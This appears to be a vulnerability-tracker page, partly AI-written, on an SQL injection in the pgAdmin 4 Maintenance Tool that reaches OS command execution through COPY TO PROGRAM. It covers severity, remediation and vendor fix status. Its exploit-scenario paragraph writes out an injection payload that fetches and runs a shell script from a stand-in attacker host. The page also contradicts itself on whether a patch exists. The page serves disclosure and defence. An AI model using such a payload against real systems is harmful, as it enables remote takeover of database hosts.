Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to pgAdmin web interface
-
DeliveryAccess Maintenance Tool with tools_maintenance permission
-
ExploitInject malicious SQL via JSON parameter
-
ExecutionBreak out to COPY TO PROGRAM statement
-
ImpactExecute OS commands on database host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must possess valid pgAdmin 4 authentication credentials with the tools_maintenance permission explicitly granted (not a default permission for read-only or developer roles). Requires an active PostgreSQL database connection configured in pgAdmin. The PostgreSQL server must allow COPY TO PROGRAM operations, which requires superuser privileges or the pg_execute_server_program role in PostgreSQL 11+, meaning the pgAdmin database connection must use a privileged account (common in administrative tooling but limits scope if connections use restricted service accounts). Exploitation is remote (AV:N) with low complexity (AC:L) and no user interaction required (UI:N) once authenticated. What LIMITS exploitation: the specific tools_maintenance permission is not granted by default to all pgAdmin users; organizations following least-privilege principles may restrict this permission to dedicated DBAs. Additionally, PostgreSQL instances hardened with pg_hba.conf restrictions, SELinux/AppArmor policies blocking shell execution from postgres processes, or network segmentation preventing outbound connections from database hosts reduce post-injection impact. The vulnerability does NOT require pgAdmin to be internet-facing if the attacker has internal network access. |
| Impact | Real-world risk is HIGH for environments with authenticated pgAdmin users. CVSS 8.8 accurately reflects the network-accessible attack vector (AV:N) with low complexity (AC:L) requiring only low-privilege authentication (PR:L) and no user interaction (UI:N), producing high impact across confidentiality, integrity, and availability. The vulnerability combines two dangerous primitives: SQL injection in a database administration tool and a direct path to OS command execution via PostgreSQL's COPY TO PROGRAM feature. However, exploitation requires specific preconditions that reduce attack surface compared to unauthenticated vulnerabilities: attackers must have valid pgAdmin credentials AND the tools_maintenance permission explicitly granted. EPSS score not available for assessment of exploitation probability. Not listed in CISA KEV, suggesting no confirmed widespread exploitation campaigns. No public proof-of-concept code identified in references, though the GitHub issue tracker link may contain technical details accessible to skilled attackers. SSVC factors favor prioritization: exploitation is likely automatable once authenticated (inject payload via API), technical impact is total (arbitrary OS commands on database host), and pgAdmin deployments are common in enterprise PostgreSQL environments. The fix availability in version 9.15 with clear remediation path elevates this to immediate patching priority for organizations running affected versions, especially if pgAdmin is exposed to untrusted internal users or if database hosts contain sensitive data or pivot opportunities. |
| Exploit ScenarioDerived | An attacker with valid pgAdmin credentials and tools_maintenance permission authenticates to the web interface, navigates to the Maintenance Tool for a connected PostgreSQL database, and initiates a VACUUM operation. In the buffer_usage_limit JSON field, they inject a payload like "1; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'; --" which breaks out of the intended parameter syntax. The malformed command reaches the PostgreSQL server, executes the injected COPY TO PROGRAM statement, downloads a reverse shell script, and executes it with the privileges of the PostgreSQL service account, granting the attacker OS-level access to the database host for data exfiltration, persistence, or lateral movement. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
SQL injection in pgAdmin 4 Maintenance Tool allows authenticated users with tools_maintenance permission to execute arbitrary SQL and escalate to operating-system command execution on PostgreSQL database hosts. Four JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) are concatenated unsafely into VACUUM/ANALYZE/REINDEX commands passed to psql. Attackers can break out of option syntax, inject SQL statements, and leverage PostgreSQL's COPY ... TO PROGRAM to achieve OS-level code execution. Fixed in version 9.15 via server-side allow-listing and proper input sanitization using qtIdent filter. EPSS data not available; no public exploit identified at time of analysis.
RemediationAI
Upgrade to pgAdmin 4 version 9.15 or later, which implements server-side allow-listing for buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, and reindex_tablespace fields and replaces manual quoting with the qtIdent filter for identifier sanitization. Download the patched version from https://www.pgadmin.org/download/ or update via your package manager (apt, yum, Homebrew, Docker registry). Verify successful upgrade by checking Help > About shows version 9.15+. If immediate patching is not feasible, implement compensating controls: revoke tools_maintenance permission from all non-administrative users via pgAdmin's role management interface (trade-off: breaks legitimate maintenance workflows for power users); restrict pgAdmin access to trusted administrator workstations via firewall rules or VPN (trade-off: reduces operational flexibility); enable PostgreSQL query logging and monitor for suspicious COPY TO PROGRAM or shell command invocations in logs (trade-off: performance overhead and delayed detection). Network segmentation between pgAdmin servers and database hosts limits lateral movement post-compromise but does not prevent initial SQL injection. Review and minimize use of PostgreSQL superuser privileges for connections initiated from pgAdmin. Full technical details and patch commits are available in the referenced GitHub issue.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pgAdmin 4 is the web-based administration and development platform for PostgreSQL databases. The Maintenance Tool generates database maintenance commands (VACUUM, ANALYZE, REINDEX) from user-supplied parameters. The vulnerability stems from unsafe string concatenation of four JSON input fields directly into SQL command strings before passing them to the psql command-line client via the --command flag. This classic second-order injection occurs because user-controlled input flows through the web application into dynamically constructed SQL without proper escaping or parameterization. The reindex_tablespace field relied on manual quoting instead of PostgreSQL's qtIdent identifier-quoting function. When these malformed commands reach the PostgreSQL server, attackers can inject arbitrary SQL, including COPY ... TO PROGRAM statements that invoke shell commands on the database host operating system, bridging from SQL injection to remote code execution.
Know when Pgadmin 4 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (PostgreSQL).
CVSS VectorVendor: PostgreSQL
Lifecycle Timeline
3DescriptionCVE.org
SQL injection vulnerability in pgAdmin 4 Maintenance Tool.
Four user-supplied JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) were concatenated directly into the rendered VACUUM/ANALYZE/REINDEX command and passed to psql --command. An authenticated user with the tools_maintenance permission could break out of the option syntax and execute arbitrary SQL on the connected PostgreSQL server. The injected SQL could in turn invoke COPY ... TO PROGRAM to escalate to operating-system command execution on the database host.
Fix introduces server-side allow-listing of all four fields and switches reindex_tablespace from manual quoting to the qtIdent filter.
This issue affects pgAdmin 4: before 9.15.
Executive ViewAI
pgAdmin 4 versions prior to 9.15 contain a SQL injection vulnerability in the Maintenance Tool that allows authenticated users with maintenance permissions to execute arbitrary operating system commands on PostgreSQL database servers. This directly threatens database confidentiality and integrity for any organization using pgAdmin to manage PostgreSQL infrastructure, potentially enabling attackers to extract sensitive data or compromise database availability.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict tools_maintenance permission to trusted administrative users only and disable for service accounts; (2) implement network segmentation to limit pgAdmin access from untrusted networks; (3) enable and monitor PostgreSQL audit logging for VACUUM/ANALYZE/REINDEX commands with unusual parameters; (4) disable pgAdmin Maintenance Tool functionality if not actively required. Note: These controls reduce but do not eliminate risk-patch deployment to version 9.15 is mandatory.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr
Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1
The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post
pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS
Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma
Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content
SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the
OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_
Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'
pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS
Same weakness CWE-89 – SQL Injection
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Retail Branch Server LTS 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE CaaS Platform 4.0 | Fixed |
| SUSE Enterprise Storage 6 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP1 | Fixed |
| SUSE Linux Enterprise Server 15 SP1-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.0 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.0 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.0 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
EUVD-2026-29083
GHSA-hp84-p2gq-6fvr
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB